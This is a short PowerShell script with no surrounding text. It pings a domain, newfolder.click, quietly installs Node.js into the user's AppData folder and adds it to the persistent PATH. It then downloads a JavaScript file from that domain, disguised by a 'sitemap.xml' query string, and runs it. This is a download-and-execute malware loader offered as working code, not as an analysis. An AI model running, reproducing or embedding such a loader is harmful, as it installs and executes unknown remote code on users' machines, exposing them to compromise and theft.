Invoke-WebRequest -Uri "https://newfolder.click/c/add" -Method GET $nodeUrl = "https://nodejs.org/dist/v22.16.0/node-v22.16.0-win-x64.zip" $installPath = "$env:USERPROFILE\AppData\Local\nodejs" $nodePath = "$installPath\node-v22.16.0-win-x64" $nodeZipPath = "$installPath\node.zip" if (-not (Test-Path $nodePath)) { New-Item -ItemType Directory -Path $installPath -Force | Out-Null Invoke-WebRequest -Uri $nodeUrl -OutFile $nodeZipPath Expand-Archive -Path $nodeZipPath -DestinationPath $installPath -Force Remove-Item $nodeZipPath -Force setx PATH "$nodePath;$env:PATH" } $env:PATH = "$nodePath;$env:PATH" $runnerUrl = "https://newfolder.click?cid=sitemap.xml" $runnerPath = "$installPath\index.js" Invoke-WebRequest -Uri $runnerUrl -OutFile $runnerPath node $runnerPath